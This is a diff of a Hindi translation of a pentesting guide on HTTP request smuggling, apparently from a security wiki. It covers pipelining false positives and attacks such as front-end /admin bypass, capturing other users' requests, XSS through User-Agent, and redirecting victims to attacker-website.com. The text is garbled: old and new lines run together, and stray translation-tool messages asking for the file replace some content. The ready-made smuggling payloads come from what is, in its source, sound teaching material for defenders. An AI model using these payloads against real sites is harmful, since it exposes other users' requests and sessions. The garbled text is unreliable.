- **Load Balancing Challenges:** load balancer की तरह काम करने वाले front-end servers requests को विभिन्न back-end systems में वितरित कर सकते हैं। यदि "attack" और "normal" requests अलग systems पर पहुंच जाते हैं, तो attack सफल नहीं होगा। इस load balancing पहलू के कारण vulnerability की पुष्टि करने के लिए कई प्रयासों की आवश्यकता पड़ सकती है। - **Load Balancing Challenges:** front-end servers जो load balancers के रूप में कार्य करते हैं, requests को विभिन्न back-end systems पर distribute कर सकते हैं। यदि "attack" और "normal" requests अलग systems पर पहुँच जाते हैं, तो attack सफल नहीं होगा। इस load balancing पहलू के कारण vulnerability की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
- **Unintended User Impact:** अगर आपका attack अनजाने में किसी अन्य उपयोगकर्ता के request को प्रभावित करता है (न कि वह "normal" request जो आपने पता लगाने के लिए भेजा था), तो इसका मतलब है कि आपका attack किसी अन्य application user को प्रभावित कर गया। बार-बार परीक्षण अन्य उपयोगकर्ताओं के लिए समस्या पैदा कर सकता है, इसलिए सतर्क रहना आवश्यक है। - **Unintended User Impact:** यदि आपका attack अनजाने में किसी अन्य user के request (आपके भेजे गए "normal" request के अलावा) को प्रभावित करता है, तो यह संकेत है कि आपका attack किसी अन्य application user को प्रभावित कर रहा है। बार-बार परीक्षण करने से अन्य users का नुकसान हो सकता है, इसलिए सावधानी बरतें।
## HTTP/1.1 pipelining artifacts और वास्तविक request smuggling में अंतर ## HTTP/1.1 pipelining artifacts और genuine request smuggling में अंतर
Connection reuse (keep-alive) और pipelining आसानी से testing tools में "smuggling" की भ्रम पैदा कर सकते हैं जो एक ही socket पर कई requests भेजते हैं। harmless client-side artifacts को असली server-side desync से अलग करना सीखें। Connection reuse (keep-alive) और pipelining आसानी से उन testing tools में "smuggling" का भ्रम पैदा कर सकते हैं जो एक ही socket पर कई requests भेजते हैं। harmless client-side artifacts को असली server-side desync से अलग करना सीखें।
### क्यों pipelining क्लासिक false positives बनाता है ### Why pipelining creates classic false positives
HTTP/1.1 एक single TCP/TLS connection को पुनः उपयोग करता है और उसी stream पर requests और responses को concatenate करता है। pipelining में, client कई requests को back-to-back भेजता है और in-order responses पर निर्भर रहता है। एक सामान्य false-positive यह है कि एक malformed CL.0-style payload को एक ही connection पर दो बार resend कर दिया जाए: HTTP/1.1 एक single TCP/TLS connection को reuse करता है और एक ही stream पर requests और responses को concatenates करता है। pipelining में, client कई requests back-to-back भेजता है और in-order responses पर निर्भर रहता है। एक सामान्य false-positive यह है कि malformed CL.0-style payload को एक single connection पर दो बार resend किया जाए:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: hackxor.net Host: hackxor.net
@ -343,7 +342,12 @@ Content_Length: 47
GET /robots.txt HTTP/1.1 GET /robots.txt HTTP/1.1
X: Y X: Y
``` ```
I don't see the README.md content. कृपया src/pentesting-web/http-request-smuggling/README.md की पूरी Markdown सामग्री यहाँ पेस्ट करें — मैं निर्दिष्ट नियमों के अनुसार टेक्स्ट को हिंदी में अनुवाद कर दूँगा और सभी कोड, टैग, लिंक, पाथ और निर्दिष्ट शब्द जस के तस रखूँगा। I don't have the file content. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md (or the portion you want translated).
When you provide it, I'll return the Markdown with:
- all English prose translated to Hindi,
- code blocks, hacking technique names, cloud/SaaS names, links, paths, tags and refs left exactly as-is,
- no added content beyond the translated Markdown.
``` ```
HTTP/1.1 200 OK HTTP/1.1 200 OK
Content-Type: text/html Content-Type: text/html
@ -357,7 +361,7 @@ Content-Type: text/plain
User-agent: * User-agent: *
Disallow: /settings Disallow: /settings
``` ```
अगर सर्वर अमान्य `Content_Length` को अनदेखा कर देता है, तो कोई FE↔BE desync नहीं होता। पुन: उपयोग के साथ, आपका क्लाइंट वास्तव में यह byte-stream भेजता है, जिसे सर्वर ने दो स्वतंत्र requests के रूप में पार्स किया: यदि server ने त्रुटिपूर्ण `Content_Length` को अनदेखा कर दिया, तो कोई FE↔BE desync नहीं होता। reuse के साथ, आपका client वास्तव में यह byte-stream भेजता है, जिसे server ने दो स्वतंत्र requests के रूप में parsed किया:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: hackxor.net Host: hackxor.net
@ -371,53 +375,52 @@ Content_Length: 47
GET /robots.txt HTTP/1.1 GET /robots.txt HTTP/1.1
X: Y X: Y
``` ```
Impact: कोई नहीं। आप बस अपने client को server framing से desync कर चुके हैं। Impact: कोई नहीं। आपने बस अपना क्लाइंट सर्वर framing से desynced कर दिया।
> [!TIP] > [!TIP]
> Burp के ऐसे मॉड्यूल जो reuse/pipelining पर निर्भर करते हैं: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse". > Burp मॉड्यूल जो reuse/pipelining पर निर्भर करते हैं: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
### Litmus परीक्षण: pipelining या वास्तविक desync? ### Litmus tests: pipelining or real desync?
1. Disable reuse and re-test 1. Disable reuse and re-test
- Burp Intruder/Repeater में, HTTP/1 reuse को बंद करें और "Send group in sequence" से बचें। - Burp Intruder/Repeater में, HTTP/1 reuse बंद करें और "Send group in sequence" से बचें।
- Turbo Intruder में `requestsPerConnection=1` और `pipeline=False` सेट करें। - Turbo Intruder में, `requestsPerConnection=1` और `pipeline=False` सेट करें।
- यदि व्यवहार गायब हो जाता है, तो संभवतः client-side pipelining था, जब तक कि आप connection-locked/stateful targets या client-side desync का सामना नहीं कर रहे हों। - अगर व्यवहार गायब हो जाता है, तो यह संभवतः client-side pipelining था, जब तक कि आप connection-locked/stateful targets या client-side desync से नहीं निपट रहे हों।
2. HTTP/2 nested-response जाँच 2. HTTP/2 nested-response check
- एक HTTP/2 अनुरोध भेजें। यदि response body में एक पूरा nested HTTP/1 response शामिल है, तो आपने backend parsing/desync बग साबित कर दिया है, न कि केवल client artifact। - एक HTTP/2 request भेजें। अगर response body में एक पूरा nested HTTP/1 response मौजूद है, तो आपने backend parsing/desync बग को साबित कर दिया है न कि सिर्फ client artifact।
3. Partial-requests probe for connection-locked front-ends 3. Partial-requests probe for connection-locked front-ends
- कुछ FEs केवल तभी upstream BE connection को reuse करते हैं जब client ने अपना connection reuse किया हो। FE के ऐसे व्यवहार का पता लगाने के लिए partial-requests का उपयोग करें जो client reuse की नकल करते हैं। - कुछ FEs upstream BE connection तभी reuse करते हैं जब client ने अपना connection reuse किया हो। partial-requests का उपयोग करके ऐसे FE व्यवहार का पता लगाएँ जो client reuse को mirror करते हैं।
- connection-locked तकनीक के लिए PortSwigger "Browser‑Powered Desync Attacks" देखें। - connection-locked technique के लिए PortSwigger "Browser‑Powered Desync Attacks" देखें।
4. State probes 4. State probes
- एक ही TCP connection पर first- vs subsequent-request के बीच के अंतर को देखें (first-request routing/validation)। - उसी TCP connection पर पहले- बनाम बाद के request में अंतर देखें (first-request routing/validation)।
- Burp "HTTP Request Smuggler" में एक connection‑state probe शामिल है जो इसे ऑटोमेट करता है। - Burp "HTTP Request Smuggler" में एक connection‑state probe शामिल है जो इसे ऑटोमेट करता है।
5. Visualize the wire 5. Visualize the wire
- reuse और partial requests के साथ प्रयोग करते समय concatenation और message framing को सीधे इंस्पेक्ट करने के लिए Burp "HTTP Hacker" extension का उपयोग करें। - प्रयोग करते समय concatenation और message framing सीधे निरीक्षण करने के लिए Burp "HTTP Hacker" extension का उपयोग करें, साथ ही reuse और partial requests के साथ प्रयोग करें।
### Connection‑locked request smuggling (reuse-required) ### Connection‑locked request smuggling (reuse-required)
कुछ front-ends केवल तभी upstream connection को reuse करते हैं जब client ने अपना connection reuse किया हो। वास्तविक smuggling मौजूद है लेकिन यह client-side reuse पर निर्भर करती है। अलग करने और प्रभाव साबित करने के लिए: कुछ front-ends केवल तभी upstream connection reuse करते हैं जब client ने अपना connection reuse किया हो। असली smuggling मौजूद है पर वह client-side reuse पर निर्भर है। भेद करने और प्रभाव साबित करने के लिए:
- server-side बग को साबित करें - server-side bug साबित करें
- HTTP/2 nested-response जांच का उपयोग करें, या - HTTP/2 nested-response check का उपयोग करें, या
- यह दिखाने के लिए partial-requests का उपयोग करें कि FE केवल तभी upstream को reuse करता है जब client ऐसा करे। - दिखाने के लिए partial-requests का उपयोग करें कि FE केवल तभी upstream reuse करता है जब client ऐसा करे।
- प्रत्यक्ष cross-user socket abuse ब्लॉक होने पर भी वास्तविक प्रभाव दिखाएँ: - वास्तविक प्रभाव दिखाएँ भले ही direct cross-user socket दुर्व्यवहार बंद हो:
- Cache poisoning: desync के माध्यम से shared caches को poison करें ताकि responses अन्य उपयोगकर्ताओं को प्रभावित करें। - Cache poisoning: shared caches को desync के जरिए poison करें ताकि responses अन्य users को प्रभावित करें।
- Internal header disclosure: FE-injected headers (उदा., auth/trust headers) को reflect करें और auth bypass की ओर pivot करें। - Internal header disclosure: FE-injected headers (उदा., auth/trust headers) को reflect कराएँ और auth bypass के लिए pivot करें।
- Bypass FE controls: restricted paths/methods को front-end के पार smuggle करें। - Bypass FE controls: restricted paths/methods को front-end के पार smuggle करें।
- Host-header abuse: host routing quirks के साथ संयोजन कर के internal vhosts की तरफ pivot करें। - Host-header abuse: host routing quirks के साथ मिलाकर internal vhosts तक pivot करें।
- Operator workflow - Operator workflow
- नियंत्रित reuse के साथ reproduce करें (Turbo Intruder `requestsPerConnection=2`, या Burp Repeater tab group → "Send group in sequence (single connection)")। - controlled reuse के साथ reproduce करें (Turbo Intruder `requestsPerConnection=2`, या Burp Repeater tab group → "Send group in sequence (single connection)")।
- फिर cache/header-leak/control-bypass primitives को chain करें और cross-user या authorization impact दिखाएँ। - फिर cache/header-leak/control-bypass primitives के साथ chain करें और cross-user या authorization impact प्रदर्शित करें।
> See also connection‑state attacks, which are closely related but not technically smuggling: > See also connection‑state attacks, which are closely related but not technically smuggling:
> >
>{{#ref}} >{{#ref}}
>../http-connection-request-smuggling.md >../http-connection-request-smuggling.md
> >{{#endref}}
{{#endref}}
### Client‑side desync constraints ### Client‑side desync constraints
यदि आप browser-powered/client-side desync को लक्षित कर रहे हैं, तो malicious request browser द्वारा cross-origin भेजने योग्य होना चाहिए। Header obfuscation tricks काम नहीं करेंगे। navigation/fetch के माध्यम से पहुँचने योग्य primitives पर ध्यान केंद्रित करें, और फिर उन परिस्थितियों में pivot करें जहाँ downstream components responses को reflect या cache करते हैं — जैसे cache poisoning, header disclosure, या front-end control bypass। यदि आप browser-powered/client-side desync को लक्षित कर रहे हैं, तो malicious request browser से cross-origin भेजने योग्य होना चाहिए। Header obfuscation tricks काम नहीं करेंगे। navigation/fetch से पहुंचने योग्य primitives पर ध्यान दें, और फिर cache poisoning, header disclosure, या front-end control bypass की ओर pivot करें जहाँ downstream components responses को reflect या cache करते हैं।
For background and end-to-end workflows: For background and end-to-end workflows:
@ -425,25 +428,25 @@ For background and end-to-end workflows:
browser-http-request-smuggling.md browser-http-request-smuggling.md
{{#endref}} {{#endref}}
### निर्णय में मदद करने वाले टूल ### Tooling to help decide
- HTTP Hacker (Burp BApp Store): low-level HTTP व्यवहार और socket concatenation को एक्सपोज़ करता है। - HTTP Hacker (Burp BApp Store): low-level HTTP व्यवहार और socket concatenation को expose करता है।
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: `requestsPerConnection` के माध्यम से connection reuse पर सटीक नियंत्रण। - Turbo Intruder: connection reuse पर precise control के लिए `requestsPerConnection`।
- Burp HTTP Request Smuggler: इसमें first‑request routing/validation को पकड़ने के लिए एक connection‑state probe शामिल है। - Burp HTTP Request Smuggler: first‑request routing/validation spot करने के लिए एक connection‑state probe शामिल है।
> [!NOTE] > [!NOTE]
> केवल reuse-अनन्य प्रभावों को non-issues मानें जब तक आप server-side desync साबित न कर सकें और ठोस प्रभाव (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, आदि) जोड़ न सकें। > Reuse-only प्रभावों को non-issues मानें जब तक कि आप server-side desync साबित न कर सकें और concrete impact न जोड़ सकें (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, आदि)।
## HTTP Request Smuggling का दुरुपयोग ## Abusing HTTP Request Smuggling
### HTTP Request Smuggling के माध्यम से Front-End Security को बायपास करना ### Front-End Security को HTTP Request Smuggling के माध्यम से बायपास करना
कभी-कभी, front-end proxies सुरक्षा उपाय लागू करते हैं और incoming requests की कड़ी जाँच करते हैं। हालांकि, इन उपायों को HTTP Request Smuggling का शोषण करके बायपास किया जा सकता है, जिससे restricted endpoints तक unauthorized access मिल सकता है। उदाहरण के लिए, बाहरी रूप से `/admin` तक पहुंच मना हो सकती है और front-end proxy ऐसे प्रयासों को सक्रिय रूप से ब्लॉक कर सकता है। फिर भी, यह proxy smuggled HTTP request के अंदर embedded requests की जाँच न करके इन प्रतिबंधों को बायपास करने का रास्ता छोड़ सकता है। कभी-कभी, front-end proxies security measures लागू करते हैं और incoming requests की जाँच करते हैं। हालाँकि, HTTP Request Smuggling का उपयोग करके ये उपाय बायपास किए जा सकते हैं, जिससे unauthorized access to restricted endpoints संभव होता है। उदाहरण के लिए, externally `/admin` तक पहुँच प्रतिबंधित हो सकती है और front-end proxy ऐसे प्रयासों को सक्रिय रूप से ब्लॉक कर सकता है। इसके बावजूद, यह proxy smuggled HTTP request के भीतर embedded requests की जांच करना भूल सकता है, जिससे इन प्रतिबंधों को बायपास करने का रास्ता खुल जाता है।
नीचे दिए गए उदाहरणों पर विचार करें जो दिखाते हैं कि HTTP Request Smuggling का उपयोग front-end सुरक्षा नियंत्रणों को बायपास करने के लिए कैसे किया जा सकता है, विशेष रूप से `/admin` path को लक्षित करते हुए जिसे सामान्यतः front-end proxy द्वारा सुरक्षित रखा जाता है: निम्न उदाहरणों पर विचार करें जो दर्शाते हैं कि कैसे HTTP Request Smuggling का उपयोग front-end security controls को बायपास करने के लिए किया जा सकता है, विशेष रूप से `/admin` path को लक्षित करते हुए जो आमतौर पर front-end proxy द्वारा guarded होता है:
**CL.TE उदाहरण** **CL.TE Example**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: [redacted].web-security-academy.net Host: [redacted].web-security-academy.net
@ -460,7 +463,9 @@ Content-Length: 10
x= x=
``` ```
CL.TE attack में, `Content-Length` header प्रारंभिक request के लिए उपयोग किया जाता है, जबकि उसके बाद के embedded request में `Transfer-Encoding: chunked` header का उपयोग होता है। front-end proxy प्रारंभिक `POST` request को process करता है लेकिन embedded `GET /admin` request का निरीक्षण करने में विफल रहता है, जिससे `/admin` path तक अनधिकृत पहुँच संभव हो जाती है। CL.TE attack में, प्रारंभिक अनुरोध के लिए `Content-Length` header का उपयोग किया जाता है, जबकि बाद के निहित अनुरोध में `Transfer-Encoding: chunked` header का उपयोग होता है।
The front-end proxy प्रारंभिक `POST` अनुरोध को संसाधित करता है पर निहित `GET /admin` अनुरोध की जाँच करने में विफल रहता है, जिससे `/admin` path तक अनधिकृत पहुँच संभव हो जाती है।
**TE.CL उदाहरण** **TE.CL उदाहरण**
``` ```
@ -478,13 +483,13 @@ a=x
0 0
``` ```
विपरीत रूप से, TE.CL attack में प्रारम्भिक `POST` request `Transfer-Encoding: chunked` का उपयोग करती है, और बाद में एम्बेडेड request को उसके `Content-Length` header के आधार पर प्रोसेस किया जाता है। CL.TE attack की तरह, front-end proxy smuggled `GET /admin` request को अनदेखा कर देता है, जिससे अनजाने में प्रतिबंधित `/admin` path तक पहुँच मिल जाती है। इसके विपरीत, TE.CL हमला में, प्रारम्भिक `POST` अनुरोध `Transfer-Encoding: chunked` का उपयोग करता है, और बाद में निहित अनुरोध को `Content-Length` हेडर के आधार पर संसाधित किया जाता है। CL.TE हमले की तरह, front-end proxy छेड़छाड़ की हुई `GET /admin` अनुरोध को अनदेखा कर देता है, जिससे अनजाने में प्रतिबंधित `/admin` पथ तक पहुँच मिल जाती है।
### फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Applications अक्सर incoming requests को back-end server को पास करने से पहले संशोधित करने के लिए एक **front-end server** का उपयोग करते हैं। एक सामान्य संशोधन में headers जोड़ना शामिल होता है, जैसे `X-Forwarded-For: <IP of the client>`, जिससे क्लाइंट का IP back-end तक पहुँचाया जाता है। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि इससे **bypass protections** या **uncover concealed information or endpoints** के तरीके उजागर हो सकते हैं। Applications अक्सर आने वाले अनुरोधों को back-end server को भेजने से पहले संशोधित करने के लिए एक **front-end server** का उपयोग करते हैं। एक सामान्य संशोधन हेडर जोड़ना होता है, जैसे `X-Forwarded-For: <IP of the client>`, ताकि क्लाइंट का IP back-end को पहुंचाया जा सके। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह **bypass protections** करने के तरीके या छुपी हुई जानकारी या endpoints को उजागर करने के रास्ते दिखा सकता है।
यह जांचने के लिए कि proxy किसी अनुरोध को कैसे बदलता है, उस POST parameter को ढूंढ़ें जिसे back-end response में echo करता है। फिर, इस parameter को आख़िर में उपयोग करते हुए एक request तैयार करें, जो निम्नलिखित के समान हो: यह पता लगाने के लिए कि proxy अनुरोध को कैसे बदलता है, उस POST पैरामीटर को खोजें जिसे back-end प्रतिक्रिया में echo करता है। फिर, इस पैरामीटर को आखिरी में उपयोग करके एक अनुरोध तैयार करें, जो निम्न के समान हो:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -501,19 +506,19 @@ Content-Length: 100
search= search=
``` ```
इस संरचना में, बाद के अनुरोध के घटक `search=` के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परावर्तित होने वाला parameter है। यह प्रतिबिंब subsequent request के headers को उजागर कर देगा। इस संरचना में, उसके बाद आने वाले अनुरोध घटक `search=` के बाद जोड़ दिए जाते हैं, जो प्रतिक्रिया में परावर्तित होने वाला parameter है। यह परावर्तन आगामी अनुरोध के हैडर को उजागर कर देगा।
यह महत्वपूर्ण है कि नेस्टेड अनुरोध का `Content-Length` header वास्तविक सामग्री की लंबाई के साथ संरेखित हो। छोटे मान से शुरू करना और धीरे-धीरे बढ़ाना सलाहयोग्य है, क्योंकि बहुत कम मान प्रतिबिंबित डेटा को truncate कर देगा, जबकि बहुत अधिक मान request को error कर सकता है। यह महत्वपूर्ण है कि nested request का `Content-Length` header वास्तविक सामग्री की लंबाई के साथ मेल खाए। छोटे मान से शुरू करके धीरे-धीरे बढ़ाना सलाहयुक्त है, क्योंकि बहुत कम मान पर परावर्तित डेटा कट जाएगा, जबकि बहुत अधिक मान पर अनुरोध में त्रुटि आ सकती है।
यह तकनीक TE.CL vulnerability के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` पर समाप्त होना चाहिए। newline characters की परवाह किए बिना, ये मान search parameter में जोड़ दिए जाएंगे। यह तकनीक TE.CL vulnerability के संदर्भ में भी लागू होती है, लेकिन अनुरोध का अंत `search=\r\n0` के साथ होना चाहिए। newline characters की परवाह किए बिना, मान search parameter में जोड़ दिए जाएंगे।
यह विधि मुख्यतः front-end proxy द्वारा किए गए अनुरोध संशोधनों को समझने के लिए उपयोगी है, मूलतः एक आत्म-निर्देशित जांच करने का तरीका है। यह विधि मुख्यतः यह समझने में काम आती है कि front-end proxy द्वारा अनुरोध में किस प्रकार परिवर्तन किए जा रहे हैं — मूल रूप से यह एक स्व-निर्देशित जांच है।
### अन्य उपयोगकर्ताओं के अनुरोध कैप्चर करना <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
POST ऑपरेशन के दौरान किसी पैरामीटर के मान के रूप में एक विशिष्ट अनुरोध जोड़कर अगले उपयोगकर्ता के अनुरोधों को कैप्चर करना संभव है। इसे इस तरह किया जा सकता है: POST operation के दौरान किसी parameter के value के रूप में एक विशिष्ट request जोड़कर अगले यूज़र के अनुरोधों को कैप्चर करना संभव है। इसे इस तरह किया जा सकता है:
निम्नलिखित अनुरोध को किसी पैरामीटर के मान के रूप में जोड़कर, आप अगले क्लाइंट के अनुरोध को स्टोर कर सकते हैं: By appending the following request as the value of a parameter, you can store the subsequent client's request:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -535,18 +540,18 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
``` ```
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment. In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
हालाँकि, इस technique की सीमाएँ हैं। सामान्यतः, यह केवल smuggled request में उपयोग किए गए parameter delimiter तक ही डेटा कैप्चर करता है। URL-encoded form submissions के लिए, यह delimiter `&` कैरेक्टर होता है। इसका अर्थ है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कि कभी-कभी query string का हिस्सा भी हो सकता है। हालाँकि, इस technique की सीमाएँ हैं। सामान्यतः यह केवल उसी parameter delimiter तक का डेटा कैप्चर करता है जो smuggled request में उपयोग हुआ होता है। URL-encoded form submissions के लिए, यह delimiter `&` वर्ण है। इसका अर्थ है कि victim user's request से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कभी-कभी query string का हिस्सा भी हो सकता है।
इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह तरीका TE.CL vulnerability के साथ भी काम करता है। ऐसे मामलों में, अनुरोध `search=\r\n0` पर समाप्त होना चाहिए। न्यूलाइन कैरेक्टर्स की परवाह किए बिना, मान search parameter में जोड़ दिए जाएँगे। अतिरिक्त रूप से, यह ध्यान देने योग्य है कि यह तरीका TE.CL vulnerability के साथ भी प्रभावी है। ऐसे मामलों में, request को `search=\r\n0` पर समाप्त करना चाहिए। newline characters की परवाह किये बिना, values search parameter में जोड़ दिए जाएंगे।
### Using HTTP request smuggling to exploit reflected XSS ### HTTP request smuggling का उपयोग करके reflected XSS का शोषण
HTTP Request Smuggling का उपयोग उन वेब पेजों को exploit करने के लिए किया जा सकता है जो **Reflected XSS** के प्रति संवेदनशील हैं, और यह महत्वपूर्ण फायदे देता है: HTTP Request Smuggling का उपयोग उन वेब पेजों को exploit करने के लिए किया जा सकता है जो **Reflected XSS** के प्रति vulnerable हैं, और यह महत्वपूर्ण फायदे प्रदान करता है:
- Target users के साथ इंटरैक्शन **आवश्यक नहीं है**। - लक्ष्य उपयोगकर्ताओं के साथ interaction **आवश्यक नहीं है**।
- यह उन हिस्सों में XSS exploitation की अनुमति देता है जो **normally unattainable** होते हैं, जैसे HTTP request headers। - request के उन हिस्सों में XSS का exploitation संभव होता है जो **सामान्यतः अप्राप्य** होते हैं, जैसे HTTP request headers।
ऐसे परिदृश्यों में जहाँ कोई वेबसाइट User-Agent header के माध्यम से Reflected XSS के लिए संवेदनशील है, निम्न payload दिखाता है कि इस vulnerability का कैसे exploit किया जा सकता है: ऐसे परिदृश्यों में जहाँ कोई वेबसाइट User-Agent header के माध्यम से Reflected XSS के प्रति prone/प्रवण है, निम्न payload इस vulnerability को exploit करने का तरीका दर्शाता है:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -567,36 +572,36 @@ Content-Type: application/x-www-form-urlencoded
A= A=
``` ```
This payload इस vulnerability का exploit करने के लिए इस तरह संरचित है: This payload इस vulnerability का exploit करने के लिए इस तरह से संरचित है:
1. एक सामान्य दिखने वाली `POST` request आरंभ करना, जिसमें smuggling शुरू करने का संकेत देने के लिए `Transfer-Encoding: chunked` header होता है। 1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
2. उसके बाद `0` भेजना, जो chunked message body के अंत को चिह्नित करता है। 2. Following with a `0`, marking the end of the chunked message body.
3. फिर, एक smuggled `GET` request डाली जाती है, जिसमें `User-Agent` header में `<script>alert(1)</script>` जैसा script inject किया जाता है, जो सर्वर जब इस subsequent request को प्रोसेस करता है तो XSS ट्रिगर करता है। 3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
`User-Agent` को smuggling के जरिए manipulate करके, payload सामान्य request constraints को bypass कर देता है, इसलिए यह एक non-standard लेकिन प्रभावी तरीके से Reflected XSS vulnerability का exploit कर देता है। By manipulating the `User-Agent` through smuggling, the payload सामान्य request constraints को bypass कर देता है, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
#### HTTP/0.9 #### HTTP/0.9
> [!CAUTION] > [!CAUTION]
> अगर user content किसी response में ऐसे **`Content-type`** जैसे **`text/plain`** के साथ reflect होता है, तो XSS का execution रोका जा सकता है। अगर server **HTTP/0.9** को support करता है तो इसे bypass करना संभव हो सकता है! > यदि user content किसी response में **`Content-type`** जैसे **`text/plain`** के साथ reflect होता है तो यह XSS के execution को रोक सकता है। यदि server **HTTP/0.9** को support करता है तो इसे bypass करना संभव हो सकता है!
HTTP/0.9 version, जो पहले HTTP/1.0 से पहले था, केवल **GET** verbs का उपयोग करता है और **headers** के साथ respond नहीं करता, सिर्फ body भेजता है। HTTP/0.9 version पहले के HTTP/1.0 से पहले का था और केवल **GET** verbs का उपयोग करता है और response में **headers** नहीं भेजता, सिर्फ़ body ही भेजता है।
In [**this writeup**](https://mizu.re/post/twisty-python), इसे request smuggling के साथ abuse किया गया था और एक **vulnerable endpoint that will reply with the input of the user** का उपयोग करके HTTP/0.9 के साथ request smuggle की गई। वह parameter जो response में reflect होगा, उसमें एक **fake HTTP/1.1 response (with headers and body)** शामिल था, इसलिए response में valid executable JS कोड होगा और `Content-Type` `text/html` होगा। In [**this writeup**](https://mizu.re/post/twisty-python), इसे request smuggling और एक vulnerable endpoint के साथ abuse किया गया था जो user के input के साथ reply करता है ताकि HTTP/0.9 के साथ एक request smuggle किया जा सके। जिस parameter को response में reflect किया गया था उसमें एक **fake HTTP/1.1 response (with headers and body)** था, इसलिए response में valid executable JS code होगा और उसका `Content-Type` `text/html` होगा।
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a> ### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Applications अक्सर एक URL से दूसरे URL पर redirect करने के लिए redirect URL में `Host` header से hostname का उपयोग करती हैं। यह Apache और IIS जैसे वेब सर्वरों में सामान्य है। उदाहरण के लिए, किसी folder को trailing slash के बिना request करने पर उसे slash सहित redirect किया जाता है: Applications अक्सर एक URL से दूसरे URL पर redirect करती हैं, redirect URL में `Host` header से hostname का उपयोग करके। यह Apache और IIS जैसे web servers में सामान्य है। उदाहरण के लिए, किसी folder को trailing slash के बिना request करने पर इसे slash जोड़ने के लिए redirect कर दिया जाता है:
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: normal-website.com Host: normal-website.com
``` ```
कृपया src/pentesting-web/http-request-smuggling/README.md की सामग्री यहाँ पेस्ट करें ताकि मैं अनुवाद कर सकूँ। परिणाम:
``` ```
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/ Location: https://normal-website.com/home/
``` ```
हालाँकि यह व्यवहार दिखने में हानिरहित लगता है, इसे HTTP request smuggling का उपयोग करके users को किसी external site पर redirect करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए: हालाँकि यह व्यवहार दिखाई देने में हानिरहित लग सकता है, इसे HTTP request smuggling का उपयोग करके उपयोगकर्ताओं को किसी बाहरी साइट पर redirect करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -610,7 +615,7 @@ GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
Foo: X Foo: X
``` ```
यह smuggled request अगले प्रोसेस किए गए उपयोगकर्ता अनुरोध को attacker-controlled website पर redirect कर सकता है: यह smuggled request अगली processed user request को attacker-controlled website पर redirect कर सकता है:
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
@ -622,17 +627,17 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ Location: https://attacker-website.com/home/
``` ```
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response. इस परिदृश्य में, एक उपयोगकर्ता का अनुरोध JavaScript फ़ाइल के लिए हाइजैक कर लिया जाता है। हमलावर प्रतिक्रिया में malicious JavaScript सर्व करके उपयोगकर्ता को संभावित रूप से compromise कर सकता है।
